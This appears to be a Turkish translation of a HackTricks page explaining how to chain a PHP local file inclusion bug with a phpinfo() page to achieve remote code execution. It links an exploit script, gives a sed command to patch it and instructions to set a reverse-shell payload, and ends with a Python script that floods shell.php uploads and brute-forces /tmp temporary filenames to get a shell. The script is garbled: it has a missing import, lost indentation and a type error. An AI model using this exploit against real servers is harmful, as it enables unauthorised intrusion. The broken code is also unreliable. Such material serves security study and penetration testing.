LFI2RCE via phpinfo()

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Bu zafiyeti sömürmek için gerekenler: Bir LFI zafiyeti, phpinfo() fonksiyonunun görüntülendiği bir sayfa, "file_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

HTB Öğretici: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Exploit'i düzeltmeniz gerekiyor (=> yerine => değiştirin). Bunu yapmak için:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Exploitin başında payload'u (örneğin bir php-rev-shell için) değiştirmeniz gerekmektedir, REQ1'i (bu phpinfo sayfasına işaret etmeli ve padding dahil edilmelidir, yani: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), ve LFIREQ'yi (bu LFI zafiyetine işaret etmelidir, yani: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Null karakteri sömürülürken çift "%" kontrol edin)

Teori

Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işlemeyi bitirene kadar bir geçici dizinde depolanır, ardından bu geçici dosya silinir.

Ardından, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi sömürebilirsiniz.

Windows'ta dosyalar genellikle C:\Windows\temp\php dizininde depolanır.

Linux'ta dosyanın adı genellikle rastgele ve /tmp dizininde bulunur. Ad rastgele olduğu için, geçici dosyanın adını bir yerden çıkarmak gerekmektedir ve phpconfig() fonksiyonunun içeriğindeki $_FILES değişkeninin değerini okuyarak bunu yapabilirsiniz.

phpinfo()

PHP, bir 4096B tampon kullanır ve tampon dolu olduğunda, istemciye gönderilir. Ardından istemci, büyük başlıklar kullanarak birçok büyük istek gönderebilir (php ters shell yüklemek için), geçici dosyanın adının döndürüldüğü phpinfo()'nun ilk kısmının gelmesini bekleyebilir ve LFI zafiyetini sömürerek php sunucusu dosyayı silmeden önce geçici dosyaya erişmeye çalışabilir.

Uzunluğu 6 ise adı tahmin etmek için Python betiği

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated